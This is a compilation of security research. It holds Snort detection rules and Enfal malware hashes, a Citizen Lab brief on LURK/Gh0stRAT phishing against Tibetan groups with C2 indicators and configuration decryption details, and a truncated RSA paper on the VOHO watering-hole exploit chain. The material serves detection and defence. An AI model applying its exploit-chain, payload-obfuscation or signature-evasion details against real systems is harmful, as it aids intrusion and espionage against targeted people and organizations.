+pcre:"/^POST\x20.*\x2fcg[az]\x2dbin\x2f(Clnpp5|CMS_ClearAll|CMS_ListImg|CMS_SubitAll|dieosn83|Dskx8|Htrc3|Info|Owpp4|Owpq4|Rwpq1|Trpq8|Trpq8|vip)\x +reference:url,www.secureworks.com/research/threats/sindigoo/; sid:1111111113;) +alert tcp $HOME_NET any -> any any (msg:"Enfal Trojan Activity"; flow:established,to_server; content:"POST|20|"; depth:5; +pcre:"/^POST\x20.*\d{6,12}\x2ephp\x20HTTP\x2f1.*\r\n\r\n[a-z0-9\x2d]{4,15}\x3a[A-F0-9]{2}\x2d[A-F0-9]{2}\x2d[A-F0-9]{2}\x2d[A-F09]{2}\x2d[A-F0-9]{2}\x2d[A-F0-9]{2}/s"; reference:url,www.secureworks.com/research/threats/sindigoo/; sid:1111111114;) +alert tcp $HOME_NET any -> any any (msg:"RegSubsDat Trojan Activity"; flow:established,to_server; content:"POST|20|"; depth:5; +content:"|2f|log|20|HTTP|2f|1"; +pcre:"/^POST\x20.*\x2f[A-F0-9]{6}0000\x2flog\x20HTTP\x2f1/"; +reference:url,www.secureworks.com/research/threats/sindigoo/; sid:1111111115;) +Appendix B + Malware hashes +MD5 signatures for Enfal +0144f8d76662fc382b8eb094eb347e4b +01a5adace93ad5afac400f9589b62607 +027d7db3d2a94bb0dfadc71300aaee3e +02857b2b6cc5aa750dbfb6a1088a5239 +035f2e58144209ea9973bbe4cad58e15 +04cb272bbe383707574005a2999f2fe0 +054688eb39ea0cd380bb89b6746abc4f +06572d93d87a8d0fb7e070be79692c87 +066be8f9e08acfe8ab1eecb884a73801 +071d01bcaadc9df5683a6cfa81736714 +084e99653956350210beb13c8ea43c79 +09c44fcceb51f9affdb63b0d8f9e4b31 +0a5446da47609868101c773e928b36e4 +0bbd1f253e928cafa3c9c78cdaa849bd +0c589418274ba97663853d1c6bef3bd1 +0ecd791525cc30ced610e81ef67290b0 +0ed85a30083fb71452916e14a4b5936a +10162681b64c72834621c6fd68b6501f +106db67336a318b6ee4f3197027df85c +113a066b19737b59ab1e2ad921cf3a03 +113bea934d89d0cfdc445489f0eb713d +11696e0f7399986c4978e35f3160c22b +1175fff7b282db3b2b0c8c9517bcd937 +11cf5c71ddf9a666d9b470dff21c4ec5 +13d82eaadf0a5f6fd2d76b66673efa91 +140c69ea9a963100e75497b33820f1da +164e3c7488b70d6db28cf71cbc72b0c2 +173ec685aa9f581a03c30866b5021574 +17810c2ad162c4726729b3fc3ae8676e +184f2de39a9fcc0039eb9df09c4e75b8 +19cddfee52c7b7adf4d5dd3e98e0b0bd +1c1f7b32d5381335b83af545b9eef101 +1c2aab24d699c24cec860e73c767bce7 +1e95875e6c0f054b62c94d6063ff9eed +1f91d940c42f216cf95e724a034802db +1fa520329a77d01aaaf5808ddf529ce2 +21b761b4401d290b9e02fea87f2a9933 +2370a2142bc61c520226d188e102a727 +241aaa7d73339c1624a27fcce5d1815d +24decc7e98e67e3a6e5d34f284f79124 +25710d277596d09e5607f419eb63e11d +272fffde11c97b31cf9de7c1e1816d61 +276495490cf16318735f880785203378 +2880436cf619a270e6c31d9da6eb426b +289242778ef037e02106a491de38cc1f +2944e486b252112720098860a91788e0 +297158cfce8fc76789ca41899f6047ac +2ae27d10e04d229c937c0363c29ed3e8 +2bc74b3aff2fd68eb38820bb0760f3a6 +2bfd304e3433cb0de9c2f284e9417409 +2f2f61d3b8f5064affb11e67ae6320b2 +2fd6e2c7fc80ab9a6be6a0eebd09763e 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+b6352cc6e269277960a8da7c5f0306cd +c5860171f919761db9ee78ef3dac5ab4 +c6a8c1cdeff0745427aafc588db9c59f +caf90ceece7242bb1147019daf14598f +cc683fc365ec57eea4bc8e1f80a66413 +ce47cb6268087cf5c27d77259496989c +cff8e4eb16d010bcc33ad19eb807bd27 +d408c2e627b3a895868bf16a3b228eac +dcb3b9ea717603bf6f42e7ce61ea3728 +dd1e6b39afcba13b3df3eae13f26d888 +e2aa3ca52b8ea17c4bb80d294fec8ec5 +e78cc8790ff97eb13d448c15f3f3acae +ea20365eb2142afb4ab9a124808cb8c6 +ecf15cce8bd4d6907d86ccff932b64af +ef80d287bd10af3b1cab06d01795ae1a +f5437d13428440412cbf5522adb25f8f +f9d2fec1684529f580785dda5820b372 +The Citizen Lab +Research Brief +Number 10 + July 2012 +Recent Observations in Tibet-Related Information Operations: +Advanced Social Engineering for the Distribution of LURK Malware +KEY FINDINGS +Social engineering techniques observed in recent targeted malware attacks against Tibetan +organizations appear to repurpose authentic, privately-held, sensitive content of Tibetan groups +contrast to typical malware attacks that rely on simpler social engineering methods, such as referencing +themes of interest to the organization or copying publicly available legitimate content. The use of this +unique content suggests that attackers may have achieved a preliminary level of infiltration into +Tibetan organizations, which could allow them to increase the apparent authenticity of subsequent +attacks. +These recent malware attacks have incorporated a +passwording + technique, whereby attached, +infected Microsoft Office files are encrypted and can only be opened with a password provided in the +email body. +The payload of each of these targeted malware attacks is the LURK malware, a remote access trojan +that is a variant of Gh0stRAT. +Once active, the malware delivered through each of these targeted attacks connects to the same +command-and-control server: dtl.dnsd.me:63 (184.105.64.183), which if inaccessible uses a backup +domain, dtl.eatuo.com:63. Both dnsd.me and eatuo.com are dynamic DNS providers, and eatuo.com +has the same domain registration information as the well-known Chinese provider 3322.net. +Number 10 + July 2012 +BACKGROUND +This blog post is the third in a series documenting the use of information operations against Tibetans and +others who advocate for Tibetan rights and freedoms. +Previous research by the Citizen Lab has described information operations that leveraged the issue of selfimmolations amongst Tibetans, as well as a recent European Parliament resolution on the human rights +situation in Tibet. +OVERVIEW +In its ongoing study of targeted cyber threats against civil society organizations, Citizen Lab has analyzed 11 +malicious emails sent to Tibetan organizations between May and July 2012 that display noteworthy common +elements, including malware that connects to the same command-and-control server. +Attackers have targeted at least three separate organizations, sending the malicious emails to seven different +email addresses associated with those three organizations. +In each of these emails, the malicious file is password-protected, such that it can only be opened with a +password provided in the email text (or in one case, in an image attached to the email), and the payload +LURK malware + is the same. +The level of authenticity of the social engineering used in these emails, however, has increased over time, with +the most recent emails repurposing sensitive content of Tibetan groups that was most likely privately held +and/or inaccessible to the general public. +The use of such content suggests that attackers may have achieved a preliminary level of infiltration into +Tibetan organizations, which could allow them to accomplish more advanced and effective social engineering, +thereby increasing the risk of compromise. +TARGETED MALWARE ATTACKS +In the 11 emails there are four distinct messages used in the attacks, as outlined and illustrated below. The +malicious attachments are all Microsoft Office documents + two Word documents and two Excel files + that +are encrypted using four-digit numeric passwords, perhaps in an attempt to prevent detection of the malicious +file by antivirus software, or to increase the apparent authenticity of the document. +The passwords appear to have been chosen to reflect dates of historical significance with respect to Tibet +for example, 1959 was the year of the Tibetan uprising against the rule of the Communist Party of China, +which is commemorated by the Tibetan community every year on March 10. The malicious payloads all +communicate with the same command-and-control (C2) server (discussed further below). +Number 10 + July 2012 +Droeshi +The first email, which was only sent to one email address of which we are aware, was sent on May 24, +2012 from what appears to be a compromised yahoo.com email account associated with a Tibetan +activist, from the IP address 209.234.204.31 (likely a compromised server): +Number 10 + July 2012 +Note that the salutation does not include the name of the recipient, nor is it signed. The password +required to open the attachment is 4155.1 The attachment is a Word document named Droeshi final.doc + when opened and supplied with the password, it crashes Word and drops its malicious payload +(described in more detail below). No clean file is dropped or shown to the user, and there is no author +or summary metadata. +Statement of the Kashag +The second email was sent on July 5 to at least two different organizations. The body of these emails +contains only +PASSWORD: 0706. +2 The subject is +THE STATEMENT OF THE KASHAG ON +THE SEVENTY-SEVENTH BIRTHDAY CELEBRATION OF HIS HOLINESS THE DALAI +LAMA + and the +From + address spoofs the real address of a Tibetan organization. Although the emails +are identical and were sent from the same IP address (65.166.97.211), the actual email addresses used +to send each message differ: eabliz@gmx.com and hientr@gmx.com. +This email also attached a single Word document, July6thFinal.doc, that exhibits similar behaviour to +the Droeshi document but drops a slightly different malicious executable. +The concept notes +The third email came in two versions on July 17, differing only in an additional blank line in the email +body and a typo in the subject line of one version. The social engineering has been significantly +stepped up in this attack, though there are still numerous tell-tale signs that it is not legitimate. This +email had five attachments: four benign .docx files, as well as a malicious Excel file named +EIDHR_action_plan.xlsx. +Number 10 + July 2012 +Again there is no name in the salutation, but the email is signed in this case. The signature and +From +address used spoof a representative of the Office of Tibet. +The Word documents attached to this email contain what appears to be an actual application by a +Tibetan organization to the European Instrument for Democracy and Human Rights (EIDHR). +The timing of this attack is particularly noteworthy in that a genuine EIDHR call for proposals +including for +Actions Aimed at Fighting Cyber-Censorship and to Promote Internet Access and +Secure Digital Communication + was pending at the time, with a July 20 deadline for concept notes. +Such documentation related to grant proposals is typically of a sensitive and internal nature to civil +society organizations, and inclusion of such content in a targeted malware attack is concerning, as it +suggests access to confidential materials and perhaps even awareness of the parameters of the EIDHR +call. +Only the attached malicious Excel file requires the password + 19333 + to open, whereas the +attached Word documents are not password protected. The malicious Excel file is actually an OLE file, +not the newer Office Open XML format that the .xlsx extension suggests, and Excel refuses to open it +unless the extension is changed to .xls. The dropped malicious executable is identical to the one from +the +Statement of the Kashag + email. +This file also drops a clean document, +set.xls, + in the user +s temporary folder and opens it in Excel. +The contents of the file were unreadable on all computers we tried it on, displaying only question +marks. However, the metadata of the file shows the author as +walkinnet +Number 10 + July 2012 +We saw five instances of this message, going to three different organizations. The email with the typo +in the subject ( +Tthe concept notes +) went to two different organizations, from a different IP +(66.103.141.237) than the +Statement of the Kashag + email. Different gmx.com addresses were used to +send each message: c100tibet_board@gmx.com and ijoni_futbollisti@gmx.com. +The other three instances of this email had the subject +The concept notes + and were sent by yet more +unique gmx.com addresses: abarbour@gmx.com, jigme1@gmx.com and agnes9@gmx.com. The first +two were sent from the same IP as used for the +Statement of the Kashag, + but the third came from +207.178.172.2. +Number 10 + July 2012 +August visit of South African group +The most recent email was sent on July 20 to at least two organizations, one of which received it at two +different addresses. The email contains text and an Excel attachment that, as with the +The concept +notes + email, suggest the attacker had access to confidential communications of a Tibetan +organization. +The spoofed +From + address, subject ( +August visit of South African group +), and text of the email all +appear to be repurposed from an authentic message sent to a Tibetan organization from a person +seeking advice regarding an upcoming trip to Dharamsala, and the content includes in-depth details on +trip logistics and planning. +In this case, the password required to open the attached Excel file is not in the body of the email, but +added (rather awkwardly) to an attached image of the logo of the organization belonging to the spoofed +sender. The password is +1959, + the year of the aforementioned Tibetan uprising. +The attached Excel file, Dharamsala August 2012 Full program.xls, is similar to the malicious +attachment in +The concept notes + email, but it drops a different clean file. In this case the file is +readable and contains what is almost certainly an authentic itinerary, which is referenced in the email. +The clean file is also called set.xls, defaults to the same Chinese font, and has the same +walkinnet +author metadata as the clean document in +The concept notes. +TECHNICAL ANALYSIS +Delivery Methods +Within the dataset examined by Citizen Lab, two Word documents and two Excel documents were sent +embedded with LURK malware, a remote access trojan that is a variant of Gh0stRAT. Note that the XLSX file +is actually a standard .XLS file, not the new XML format. +The MD5 hashes of the documents are as follows: +Droeshi final.doc + 58f6922dedb0d43c4478a4f38ad08620 +July6thFinal.doc + f2a0787388dd6373336b3f23f204524a +EIDHR_action_plan.xlsx + 0fe550a5d1187d38984c505ef7741638 +Dharamsala August 2012 Full program.xls + 971f99af0f9df674a79507ed7b3010fb +Number 10 + July 2012 +Each document is encrypted with a four-digit numeric password, a tactic seen previously in other emails. This +tactic makes it more difficult to identify embedded payloads and the vulnerability used. +All of the files except for the first (Droeshi final.doc) have the same malware files embedded. The first uses a +variant of the LURK trojan that is very similar, but not identical, to the others. +Infection +In each of the four cases, the document exploit drops the LURK trojan: +%Temp%\iexplore.exe +Two different versions of the trojan were seen between the four cases. While they all use the same filenames, +in one case, the MD5 of the trojan is different: +July6thFinal.doc, EIDHR_action_plan.xlsx, Dharamsala August 2012 Full program.xls: +16160a6a9b905c69cb8e92c319212980 +Droeshi final.doc: 1c22ee3326affee30c3fa65f0b8413d5 +LURK also uses the following files: +%AppData%\Application Data\Help\CREATELINK.EXE +%AppData%\Help\IconCacheEt.DAT +%AppData%\Help\IconConfigEt.DAT +%AppData\\Help\iexplore.exe +Additionally, the samples that use Excel as their vector also drop a clean file, opened after the malware +executes: +Number 10 + July 2012 +%Temp%\set.xls +For persistence, the trojan also creates the following link in the Startup folder, pointing at the iexplore.exe +binary in %AppData%: +C:\Documents and Settings\user\Start Menu\Programs\Startup\iexplore.lnk +The binary in %AppData% is only 9KB and acts as a launcher. +IconConfigEt.DAT is the trojan +s configuration file, storing the C2 server addresses and ports, as well as a +campaign name identifier. The file is mostly encrypted, with the campaign name stored in the clear. The +configuration options are read from the main executable using GetPrivateProfileStringW(), a function for preregistry configuration storage. This function is for backwards compatibility with pre-registry 16-bit Windows +applications, and is not commonly used in modern applications. +Number 10 + July 2012 +Decryption of the configuration file is done in sub_4044B0() using a key generated in sub_404430() + the +default is 0x11B29719, in the case of the more common version of the trojan the key is 0x11B297A9. Once +the values have been read from the decrypted file, it is re-encrypted in sub_404560(). +Encrypted on disk (default): +Decrypted: +Once the configuration file is decrypted, the values are still not readable. Fortunately, the second layer +decryption is an easy process + just decrement each character by 1. +The values read from the configuration file are: +1. Section [PPP], key P: Primary C2 server port number +2. Section [WWW], key W: Primary C2 server name +3. Section [PPP1], key P1: Secondary C2 server port number +4. Section [WWW1], key W1: Secondary C2 server name +5. Section [PPP2], key P2: Tertiary C2 server port number +6. Section [WWW2], key W2: Tertiary C2 server name +7. Section [MMM], key M: Campaign name +Number 10 + July 2012 +In the configuration files we have looked at for this run, the primary server is dtl.dnsd.me:63, and the +secondary server is dtl.eatuo.com:63. Both dnsd.me and eatuo.com are dynamic DNS providers, and +eatuo.com has the same domain registration information as the well-known Chinese provider 3322.org. No +tertiary server is given. +The malware checks in sub_4040E0() for a value of +Mark + in the registry at the following location: +HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\DbxUpdateET\ +If a value is not found, it is set with the campaign name read from the configuration file key M. +Campaign Names +The four samples we received use three different campaign names, identified as follows in value 7 of each +configuration file: +Droeshi final.doc: campaign id TIBET +July6thFinal.doc: campaign id T706 (note that the password on the file is also 0706, keeping on theme) +EIDHR_action_plan.xlsx: campaign id T801 +Dharamsala August 2012 Full program.xls: campaign id T801 +The campaign names strongly suggest that these runs are specific to the Tibetan community, and that the Txxx +attacks may be coming from the same source. The July6thFinal.doc, EIDHR_action_plan.xlsx, and +Dharamsala August 2012 Full program.xls documents all drop the same trojan; the Droeshi final.doc trojan is +slightly different (although uses much of the same code). +Malware Analysis +These samples match the behavior seen with other recorded instances of samples from this family in the wild. +LURK is also known as Troj~Agent-XAT (Sophos), TROJ_MDROP.TPB and TROJ_MDROP.TPC (Trend +Micro), and can also be picked up by more general antivirus detection such as Generic PWS.y (McAfee). In +Number 10 + July 2012 +the sample analyzed by Sophos, the campaign ID is +IE_0day + not immediately related to attacks on the +Tibetan community. +Many more samples within this family exist with reports online + look for +DbxUpdateET + (where the +campaign ID is stored in the registry) or the dropped files +IconCacheEt + and +IconConfigEt. + Another +Tibetan-themed example using the dtl.eatuo.com domain was reported by ZenLab on March 26, 2012. +The LURK malware is also referenced with a description of the communication protocol in Command Five +paper +Command and Control in the Fifth Domain. + The network behavior we observed matches the described +protocol. +An additional file with the T801 campaign ID that we observed used twice was uploaded to ThreatExpert and +can be found here. +Command and Control Information +A port scan of the C2 server shows the following ports are open: +PORT STATE SERVICE VERSION +21/tcp open tcpwrapped +53/tcp open domain? +80/tcp closed http +81/tcp open hosts2-ns? +135/tcp open msrpc Microsoft Windows RPC +1026/tcp open msrpc Microsoft Windows RPC +8080/tcp open http-proxy? +In addition to port 63 (which is not shown as open in the above scan), ports 81 and 53 are both LURK. +Network Traffic +In addition to the dropped files, infected machines can be found on a network by looking for the following +indications of compromise: +DNS lookup of the C2 domains: dtl.dnsd.me, dtl.eatuo.com +Traffic to the C2 IP: 184.105.64.183 + this includes traffic over port 53, which is normally DNS +Number 10 + July 2012 +TCP traffic over port 53 that begins with +LURK0 +The beginning of a network connection to the C2 server looks like this: +If the C2 is not actively responding, not much data will be transmitted beyond TCP: +For detection, Jaime Blasco from AlienVault has written a Snort rule that will detect LURK traffic (originally +found here): +Number 10 + July 2012 +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: +APT LURK communication +protocol detected +; flow:established,to_server; content: +|4C 55 52 4B 30| +; depth:5; +reference:url,www.commandfive.com/papers/C5_APT_C2InTheFifthDomain.pdf; +classtype:trojan-activity; sid:3000006; rev:1;) +RECOMMENDATIONS +Civil society organizations, particularly those working on issues related to Tibetan rights, should +exercise caution with respect to any email containing a link or attachment. As the targeted malware +attacks analyzed in this report demonstrate, content used to induce a recipient to open a malicious file +may at one point have actually been authentic and private + and is that much more likely to appear +legitimate. For tips on other ways to detect probable malware attacks and prevent compromise, see +Citizen Lab +s Recommendations for Defending Against Targeted Cyber Threats. +Civil society organizations should be wary of emails attaching password-protected documents and +providing said password in the email body. Such purported +security + measures are not an indicator of +authenticity. +Citizen Lab encourages civil society organizations and individuals working on human rights issues that +have encountered these types of targeted malware attacks to contact us at hrthreats[AT]citizenlab.org. +We appreciate submission of data, which will help strengthen our analysis of cyber threats. +__________________ +FOOTNOTES +On April 1, 1955, the governments of India and China signed a protocol by which India handed over control +of communications services in Tibet to China. See Protocol between the Governments of India and China +Regarding the Handing Over of Postal, Telegraph and Public Telephone Services in the Tibet Region of +China. +Number 10 + July 2012 +The Fourteenth Dalai Lama Tenzin Gyatso was born on July 6, 1935. +The Thirteenth Dalai Lama Thupten Gyatso passed away on December 17, 1933. +THE VOHO CAMPAIGN: AN IN DEPTH +ANALYSIS +RSA FirstWatchSM Intelligence Report +White Paper +In July of 2012, the RSA FirstWatchSM research and intelligence team identified an +emerging malicious code and content campaign spreading at a rapid rate within very +About RSA FirstWatchS M Team +specific geographic theaters. These clusters were confined to ten geographic areas +RSA FirstWatchSM team is an elite, highly +trained global threat research and +intelligence team designed to operate in +a number of disciplines to provide +tactical and strategic intelligence on +advanced threats, threat campaigns and +threat actors. The team, lead by Will +Gragido, focuses on advanced threat +research and intelligence which +culminates in threat feeds, digests, +profiles and ecosystem analysis +designed to aid the RSA NetWitness +user community and the information +security community at large in +contending with these challenges. +and involved thousands of hosts. To the untrained eye it would appear the hosts +Contributing Authors +Alex Cox, Principal Researcher, RSA +FirstWatch Team +Chris Elisan, Principal Malware +Researcher, RSA FirstWatch Team +Will Gragido, Sr.Manager, RSA +FirstWatch Team +Chris Harrington, Consulting Security +Engineer, EMC CIRC +Jon McNeill, Principal Technologist, RSA +FirstWatch Team +involved in this campaign were compromised as the result of innocent web surfing +using a common +drive-by + attack mechanism. While at face value this is true, our +investigation infers that the populations compromised were not chosen in an +indiscriminate manner, but rather with great forethought. Based on the RSA +FirstWatch research, we believe these websites were likely chosen with exact +precision and great consideration; selected from thousands upon thousands of +websites due to familiarity and proximity to the targets of interest that the threat +actors responsible for the campaign were truly interested in compromising. +The RSA-FirstWatch team +s research led to the identification of this campaign and its +name, +VOHO +. From a tools, technique and procedure (TTP) perspective, the RSA +FirstWatch team believes this campaign aligns with the Advanced Persistent Threat +(APT) threat model, including communications emitting from compromised hosts to +IP addresses confirmed as Command and Control (C2) servers (in this case, located +in Hong Kong); code re-use using exploit scripts and ultimately, a before-unseen +variant of +Gh0st RAT + malware. Additionally, targets appeared to be specifically +chosen to compromise hosts involved in business and local governments in +Washington, DC and Boston, Massachusetts, as well as organizations involved the +development and promotion of democratic process in non-permissive regions. As a +whole, these specific TTPs have been observed in previous APT attack campaigns, +most notably, Aurora i and Ghostnet ii. +Through our research, the RSA FirstWatch team identified what it believes to be the +primary mechanism for tactical and strategic infection of victims affiliated with +targets of opportunity. While this attack methodology has been observed before, it +has not been widely documented or disseminated. As such, we have termed this +technique +Water Holing +The architects of these campaigns survey and select the websites (known as pivot or +redirector sites) leveraged in these attacks carefully. Weighing their geographic +relevance, proximity to their desired targets of opportunity, and likelihood of being +traversed by potential victim-users associated with the attacker objective, the +adversary carefully exploits vulnerable systems and inserts malicious scripts to +deliver a Trojan payload via browser-based exploits to visitors to the website. +Throughout this paper, we will examine the evolution of this threat campaign, its ties +to other comparable threat campaigns where variants of the malicious payload seen +in this attack (gh0strat) have been identified and chronicled, epicenters of +geographic activity associated with this campaign, industry/verticals targeted in this +campaign and the construction of the attribution chain. +Specifics +Using the tactic of crafting a +Watering Hole +, the majority of the redirection activity occurred +because of JavaScript elements on two specific websites. +hxxp://www.xxxxxxxxtrust.com +hxxp://xxxxxxcountymd.gov +Respectively, these two sites + one a regional bank in Massachusetts and a local government +serving the Washington DC suburbs. +We also saw an additional chain of websites with a geopolitical central theme redirecting to the +exploit site: +hxxp://ifxx.org +hxxp://xxxxxxcenter.org +hxxp://xxi.org +hxxp://xxxxxxx.prio.no +hxxp:/xxxxxxxxpolitics.com +hxxp://www.rfxxx.org +Additionally, sites serving the Defense Industrial Base and Educational community were also +observed redirecting to the exploit site: +hxxp://www.gftxxx.org +hxxp://www.xxxxxxantennas.com +When taken as a whole, this campaign appears to have targeted: +Boston, Massachusetts area users +Political Activists +Users Washington, DC and its suburbs +Defense Industrial Base +Education +Malicious Infrastructure +Hosts visiting the aforementioned sites were redirected to a website of enthusiasts of a lesser +known sport at the following domain: +hxxp://xxxxxxxcurling.com +This site attempted to exploit the following host vulnerabilities, in two different attack +campaigns: +Microsoft XML Core Services + CVE-2012-1889 +Java Exploit + CVE-2012-1723 +Once successfully exploited, the installed +Gh0st RAT + would beacon to one of two IP +addresses: +58.64.155.59 +58.64.155.57 +Exploit Specifics +Attack Methodology Overview +hxxp://xxxxxxxcurling.com Compromise +Files found on the sporting group website indicate that this server was likely compromised with +a remote buffer overflow (CVE-2008-3869/CVE-2008-3870) against the server +s sadmind +daemon. Additional files indicated the ability to establish a remote shell on demand. +It is unknown if this method was also used to compromise the +watering hole + sites. In these +cases, the following code snipped was added to publically accessible pages on the site, +typically .js files are used to process a site +s JavaScript: +document.write(''); +This is a simple redirection mechanism that will cause the browser to redirect and load content +from the remote site. +Hits to +iframe.js + launch an enumeration and exploit chain that +attempts to exploit two different vulnerabilities, +Gh0st RAT is a multiple-purpose remote access tool that allows extensive remote control of +compromised hosts. +While there is no known evidence linking this attack to previous attacks, +gh0st has historically been used in politically motivated espionage by nation-state attackers, in +a similar manner as seen in this campaign depending on the specific redirection path: +Microsoft XML Core Services + CVE-2012-1889 +Java Exploit + CVE-2012-1723 +Phase 1 - Exploit Chain + Microsoft XML Core Services +From our research, this campaign occurred between June 25th, 2012 and July 18th 2012 in +which attackers sought to exploit the CVE-2012-1889 vulnerability that was zero-day and was +being used in targeted attacks as noted in early June iii. +In this attack, a successful exploit on CVE-2012-1889 followed the following path: +[Watering Hole Sites] +http://xxxxxxcountymd.gov (or other water hole site) +http://www.xxxxxxxcurling.com/Results/cx/magma/iframe.js +http://www.xxxxxxxcurling.com/Results/cx/magma/module.php +http://www.xxxxxxxcurling.com/Results/cx/magma/engine.js +http://www.xxxxxxxcurling.com/Results/cx/magma/if.htm +http://www.xxxxxxxcurling.com/Results/cx/magma/enblue.htm +http://www.xxxxxxxcurling.com/Results/cx/magma/book.cab +Figure 1: iFrame.js Flow +Iframe.js +Iframe.js checks if the visiting machine is running a Windows operating system and Internet +Explorer. It also sets a cookie value (presumably to track individual visits). If the visiting +machine is running a Windows operating system and Internet Explorer, it forward to +module.php. +Module.php +Module.php uses a simple redirection script to redirect the browser to Engine.js +Engine.js +Engine.js looks for processes related to the following antivirus engines using an older +vulnerability in Internet Explorer (CVE-2007-4848) that allows local file enumeration: +Trend Micro +McAfee +Symantec +However, the results of this check don +t change the outcome of the script running in all cases; +it simply results in the loading of +if.htm +. We believe this to be a case of existing exploit +script re-use, with slight changes to suit the attackers current purpose. +This particular enumeration script was seen previously in APT-style attacks back in July of 2011, +as detailed here on the contagiodump blog iv. Within the blog, noted industry researcher Mila +Parkour, cited the presence and use of borrowed scripts having likely originated in Asia, +specifically the so called xKungfoo script in attacks launched associated with numerous +campaigns targeted at political dissidents. v Additionally, Ms. Parkour has also noted and +documented the presence of this weaponizable code in numerous locales on the Internet +today. vi vii In the following figures evidence of the presence and availability of the xKungFoo +script (the script referenced by Mila Parkour and noted as being germane to the RSA +FirstWatch investigation) along with endorsement by the author can be seen: +Figure 2: Website Where +xKungFoo Script Originates +Figure 3: Example of xKungFoo +Script Originates +Figure 4: Endorsement by +Author Regarding xKungFoo +If.htm +1) Checks if the visiting host +s user agent reflects is one of the following: +Unknown +Windows XP +Windows 2003 +Windows VistaWindows 7 +Checks if the visiting hosts language settings are: +English +Chinese +French +German +Japanese +Portuguese +Korean +Russian +Enblue.htm +Enblue.htm uses the CVE-2012-1889 XML vulnerability to compromise the visiting browser, +which results in a pull and installation of the gh0st RAT malware. +This script also appears to be code reuse of a script seen on pastebin as follows: +http://pastebin.com/VfmuhEiq +Interestingly, this code was also purportedly used in previous nation-state sponsored attacks +on Gmail accounts viii. +Book.cab +Book.cab, the final payload, is an obfuscated executable which, when de-obfuscated using +XOR 95, is the gh0st RAT sample named +vptray.exe + (e6b43 +c299a9a1f5abd9be2b729e54577) +Phase II - Exploit Chain + Sun Java +Phase II of this campaign, using the same infrastructure, but with a different directory for the +exploit chain files as follows: +[Watering Hole Sites] +hxxp://xxxxxcountymd.gov (or other water hole site) +hxxp://www.xxxxxxxcurling.com/Docs/BW06/iframe.js +hxxp://www.xxxxxxxcurling.com/Docs/BW06/module.php +hxxp://www.xxxxxxxcurling.com/Docs/BW06/engine.js +hxxp://www.xxxxxxxcurling.com/Docs/BW06/if.htm +hxxp://www.xxxxxxxcurling.com/Docs/BW06/applet.jar +Figure 5: Java Exploit Chain +If.htm +In this case, all of the scripts were identical up to +if.htm +, which instead contained a java call +that loaded applet.jar, as well as a large blob of obfuscated code as a +param + element. This +large blob of code is a binary obfuscated with XOR 77, which the java applet deobfuscates and +runs as +svohost.exe + (2fe340fe2574ae540bd98bd9af8ec67d). +Figure 6: Java Applet Deobfuscates +and Runs as +svohost.exe +Watering Hole + Specifics +Strategically, the idea of using a target +s interests and likely access points is not a new method +of attack. Undertaking it on such a large scale, however, is notable and unusual in the APT +space. +In this campaign, five separate +classes + of sites that were compromised and trojanized to +redirect to the exploit chains on the sporting group website. They were: +Sites with Geographic and Target Relevance to the Boston, MA area +Sites with Geographic and Target Relevance to Political Activism +Sites with Geographic and Target Relevance to the Washington, DC and its suburbs +areas +Sites with Geographic and Target Relevance to the Defense Industrial Base +Sites with Geographic and Target Relevance to the Education +Additionally, there were a spattering of non-related sites that appeared to be simple +redirectors to one of the above-categorized sites. This sort of redirector is often used in spam +campaigns to obfuscate the final location of the exploit server in an attempt to bypass email +malware controls. While we don +t have specific examples of related spam activity, this seems +a likely such use of the additional sites. +One of the main sources of infection for these campaigns were sites that support the cause of +democratic process in non-permissive environments, or the communication of information +related to free speech. That is, entities and people that seek to promote democratic +government in countries whose existing political structure and power doesn +t support (and +indeed, persecutes) such governmental change. This particular strategic vector has been +observed in prior nation-state sponsored attacks. +Though several sites were targeted by the adversarial element behind this campaign some +stood out due to their relationships to matters of geopolitical relevance, philanthropy, and +news media. Five primary sites were compromised and used as pivot sites from a water holing +perspective in this campaign. +They were largely North American with the exception of one +European example. Additionally, a large percentage of infection activity occurred as a result of +sites compromised and converted into water holes that offered services to the Washington, DC +and Boston, MA areas. As the political and governmental hub of the United States of America, +wholesale compromise of computers in this area would provide a wealth of intelligence for +adversaries interested in political process and government action. Furthermore it should be +noted that RSA FirstWatch has noted and verified the compromise of nearly one thousand +unique organizations distinct from those noted within this work. +Figure 7: Industries and Regions +Leveraged in +Water Holing + Activity +Political +Activism +Metro +Washington, + Government + Education +Watering +Hole + Pivot +Sites +Defense +Industrial +Base +Metro +Boston + Financial +Svcs +Gh0st RAT +RAT Overview +Remote Access Tools\Trojan (RAT) are typically offered as a +legitimate + remote administration +tool for system administrators, but have largely been used for remote hacking and information +collection for intelligence purposes or lateral movement activities. While they are similar in +function to purpose-built botnets, which also tend to use client/server architecture, RATs +typically offer a wide range of features rather than the single focus that most modern botnet +malware adheres to. +Typically, RATs have the ability to: +Capture keystrokes +Remote monitoring of webcam and/or microphone +File system search/browse +Use of local command prompt +Execution of arbitrary programs +File download/upload +Gh0st RAT Specifics +Gh0st came to prominence following the 2009 publication of +Tracking Ghostnet: Investigating +a Cyber Espionage Network +, in which this malware was used to infiltrate computers associated +with the Dalai Lama and was used to compromise information related to Tibetan affairs. +Gh0st contains all of the above-mentioned capabilities when successfully installed on a target +An excellent overview of this tool can be found in the McAfee report titled +Know your +Digital Enemy + ix. +Since the publication of this report, the use of gh0st in hacking incidents has exploded, with +the RSA FirstWatch team being aware of at least 50 unique gh0st networks. This can be +largely explained, much like the proliferation of ZeuS cybercrime malware, to the open +availability of Gh0st source code on the internet. +When source code for this type of malware +is available globally it allows +open source + evolution of the malware to add new features and +capabilities, but more importantly, it permits the constant modification of +indicators + used by +defenders to detect malware activity in their environment. +From an operational sense, having +easy opportunity to modify source code allows a much more robust compromise, with +decreased likelihood of attacker detection. +In many cases this detection is based on: +Knowledge of known C2 locations +Detection of a common +gh0st + string that is seen in the network communication of +unmodified + gh0st configurations. +Figure 8: Common Technique +Empolyed by Gh0st Networks +Operators +A common countermeasure used by operators of gh0st networks is to change this gh0st string +prior to malware compilation to defeat basic IDS signatures. +VOHO Sample Analysis +Fake Symantec Update + Variant 1 +VPTray.EXE +e6b43c299a9a1f5abd9be2b729e54577 +This malware comes in a UPX compressed binary, which disguises itself as an update from +Symantec but instead it installs a backdoor in the target system. +When the malware is first executed, its first order of business is to install itself in the system. +It does this by dropping an exact copy of itself with the name VPTray.EXE in the current user +Local Settings\Temp + folder. It then modifies the Windows registry for it to autostart every +boot up. It does this by using the following registry keys. 